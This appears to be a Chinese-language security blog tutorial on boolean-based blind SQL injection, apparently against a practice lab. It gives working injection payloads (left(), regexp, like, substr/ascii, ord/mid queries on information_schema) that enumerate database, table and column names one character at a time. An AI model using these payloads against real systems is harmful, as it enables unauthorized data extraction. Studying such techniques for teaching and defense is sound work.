基于布尔的盲注

Posted by Tattoo on 2019-01-11
Estimated Reading Time 4 Minutes
Words 1.1k In Total
Viewed Times

布尔盲注原理

布尔:真假
盲:看不见
注:注入

即页面存在SQL注入漏洞,但页面不会回显数据,也不会回显错误信息。只返回真或假
通过构造payload,来判断数据库中内容的值的正确性,再通过页面的真假来识别我们的判断是否正确。

布尔盲注方法

left()返回字符串的最左边几个字符:

  left(database(),1)>’s’
  database()显示数据库
  left(a,b)从左侧截取a的前b位

  • 测试是否存在注入:

  id=1
  页面显示You are in……

  id=1’
  页面不显示

  id=1’ and ‘1’=’1
  页面显示You are in……

  id=1’ and ‘1’=’2
  页面不显示

  经上述步骤可以确认为字符型布尔盲注,只有当构造的payload的内容为正确是才会返回 You are in……

  • 判断数据库信息:
  1. 判断当前数据库第一个字符:
1
id=1' and left(database(),1)='s'--+

  页面显示You are in……,说明是正确的

  1. 判断当前数据库前二个字符:
1
id=1' and left(database(),2)='sa'--+

  页面不显示,说明第二个字符不是’a’

1
id=1' and left(database(),2)='se'--+

  页面显示You are in……,说明第二个字符是’e’

  ……

  以此类推,判断出当前数据库名security

  • 判断数据库表信息:
  1. 判断第一个表的第一个字符:
1
id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

  页面显示You are in……

  …..

  判断出第一个表名为emails

  1. 判断第二个表的第一个字符:
1
id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'--+

  页面显示You are in……

  ……

  判断出第二个表名为referee

  以此类推,判断出当前数据库的所有表名

  • 判断数据库列信息:
  1. 判断第一个表的第一列的第一个字符:
1
id=1' and left((select column_name from information_schema.columns where table_name='emails' limit 0,1),1)='i'--+

  页面显示You are in……

  ……

  判断出第一个表的第一列名为id

  1. 判断第一个表的第二列的第一个字符:
1
id=1' and left((select column_name from information_schema.columns where table_name='emails' limit 1,1),1)='e'--+

  页面显示You are in……

  ……

  判断出第一个表的第二列名为email_id

  以此类推,判断出当前数据库的所有表的所有列名

通过以上步骤可以看出,手工进行布尔盲注十分耗时费力,效率极低,这时候我们应该利用工具提高效率,过程不再赘述!

regexp 正则表达式:

1
select user() regexp '^r'

  正则表达式:user()结果为root,regexp为匹配root的正则表达式
  ^:匹配输入字符串的开始位置

类似地:
  id=1’ and (select database()) regexp ‘^s’–+
  页面显示You are in……

  修改select语句即可进行爆库、爆表等操作,过程与left()函数相似,不再赘述!

like 模式匹配:

1
select user() like 'ro%'

  与regexp类似,使用like进行匹配,%代表一个或多个字符

substr()、ascii():

1
select ascii(substr((select database()),1,1)=98

  substr(a,b,c)从b位置开始,截取字符串a的c长度
  ascii()将某个字符转换为ascii值(用该函数可以减少出现单引号,避免被过滤)

ord()、mid():

1
select ord(mid((select user()),1,1))=114

  mid(a,b,c)从位置b开始,截取a字符串的c位
  ord()同ascii()将某个字符转换为ascii值

类似地:
  id=1’ and ascii(substr((select database()),1,1))=115–+
  页面显示You are in……

  对应ASCII表可知,ASCII值为115的字符为’s’
  修改select语句即可进行爆库、爆表等操作,过程与left()函数相似,不再赘述!

tips1:
  可根据数据库命名规则,大概地知道应该从ASCII表哪些位置去找对应的值,主要的有:
  0-9:48-57

  A-Z:65-90

  a-z:97-122

总结

  布尔盲注需要操作的次数比较多,要灵活运用工具提高效率。如利用bp的intruder模块,通过判断响应包不同的长度找到正确的值


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !